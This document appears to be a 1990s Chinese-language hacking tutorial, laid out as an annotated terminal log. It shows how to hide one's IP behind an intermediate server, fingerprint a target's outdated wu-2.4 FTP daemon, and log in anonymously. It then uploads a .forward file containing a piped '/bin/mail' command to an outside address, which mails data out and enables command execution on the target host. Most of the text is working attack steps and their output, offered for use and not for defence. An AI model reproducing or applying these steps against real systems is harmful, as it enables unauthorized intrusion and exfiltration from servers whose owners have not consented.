SunOS 5.6
login: lovegone
Password:
Last login: Sat May 16 19:07:41 from 11.22.203.122
tcsh: getwd: Cannot open directory "../" (Permission denied)
tcsh: Trying to start from "/home/judge4"
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
Copyright by Andrew Chen 98/01/07
You have new mail.
#
(嘿嘿..先连到我的中间伺服器!
有人问说[一定要先有一个主机来当中间伺服器才能hack别人的主机吗?].当然不是这个意思啦!先连上中间伺服器只是要用来掩饰自己的ip嘛!而且可以利用中间伺服器来使用Net-Man2所说的那些"中间动作"阿!!所以中间伺服器不是说一定要用,但是却是很重要喔..)
# finger @www.fuck.com.tw
[cc.fuck.com.tw]
Login Name TTY Idle When Where
root Super-User console 10: Tue 09:05 :0
(没人在家...真好)
# ftp www.fuck.com.tw
Connected to cc.fuck.com.tw.
220 cc FTP server (Version wu-2.4(1) Thu May 30 18:00:41 CST 1996) ready.
Name (www.fuck.com.tw:lovegone): anonymous (或是ftp,只要先匿名进去就好了)
331 Guest login ok, send your complete e-mail address as password.
Password:
230-
230- ###### ##### #####
230- # # # #
230- ##### # # #
230- # # #####
230- # # #
230- # # #
230-
230- **** 欢迎到fuck烂公司 ****
230-
230- IE40 : pub/ie40 : 正式版.非抢鲜版
230- pub/ie40zip: ie40 zip.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
(不愧是fuck烂公司.连ftp也都是wu-2.4的..漏洞大的"狠")
ftp> pwd
257 "/" is current directory.
(看一下自己在那里,因为有些ftp会一开始就在帐号的工作目录下.我们要确保是在根目录下!如果不是在根目录下的人就用cd ..就可以到根目录了)
ftp> ls
(看根目录的设定)
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 18
drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 .
drwxr-xr-x 7 fuck Taiwan 512 Oct 16 1997 ..
lrwxrwxrwx 1 fuck Taiwan 7 Jun 17 1997 bin -> usr/bin
dr-xr-xr-x 2 fuck Taiwan 512 May 31 1996 dev
d--x--x--x 2 fuck Taiwan 512 May 31 1996 etc
dr-xr-xr-x 15 ftp Taiwan 512 Feb 13 03:40 pub
drwxr-xr-x 2 ftp Taiwan 512 Apr 13 05:59 upload
drwxr-xr-x 5 fuck Taiwan 512 May 31 1996 usr
-rw-r--r-- 1 fuck Taiwan 488 Oct 8 1997 welcome.msg
226 Transfer complete.
("狠"好!根目录是drwxr-xr-x 可以执行程式.赶快去做一个.forward吧!!!)
ftp> bye
Goodbye!
# echo "|/bin/mail Lovegone@ms7.accmail.com.tw" > shit
(用echo和输出导向就可以了..)
# ls -la
total 26
drwxr-xr-x 4 lovegone users 1024 May 14 13:56 ./
drwxr-xr-x 47 root root 1024 Nov 26 14:08 ../
-rw-r--r-- 1 lovegone users 2217 May 14 13:56 .bash_history
-rw-r--r-- 1 lovegone users 164 Jun 10 1996 .kermrc
-rw-r--r-- 1 lovegone users 34 Jun 7 1993 .less
-rw-r--r-- 1 lovegone users 114 Nov 24 1993 .lessrc
drwxr-xr-x 2 lovegone users 1024 Jun 10 1996 .term/
-rw-rw-r-- 1 lovegone users 6116 May 7 1997 m-2.gif
-rw------- 1 lovegone users 9382 May 14 13:49 mbox
drwxr-xr-x 8 lovegone users 1024 Jul 28 1997 public_html/
-rw-r--r-- 1 lovegonw users 8 Jul 5 1998 shit
(ok了!!接下来就是把shit上传到www.fuck.com.tw上当.forward)
# ftp www.fuck.com.tw
Connected to cc.fuck.com.tw.
220 cc FTP server (Version wu-2.4(1) Thu May 30 18:00:41 CST 1996) ready.
Name (www.fuck.com.tw:lovegone): anonymous (或是ftp,只要先匿名进去就好了)
331 Guest login ok, send your complete e-mail address as password.
Password:
230-
230- ###### ##### #####
230- # # # #
230- ##### # # #
230- # # #####
230- # # #
230- # # #
230-
230- **** 欢迎到fuck烂公司 ****
230-
230- IE40 : pub/ie40 : 正式版.非抢鲜版
230- pub/ie40zip: ie40 zip.
230-
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put shit .forward
(上传记得要改成 .forward才行,别在用shit)
200 PORT command successful.
226 Transfer complete.
ftp> bye
Goodbye!
(寄一封信给anonymous这个帐号..然后去收收你的信箱吧!)
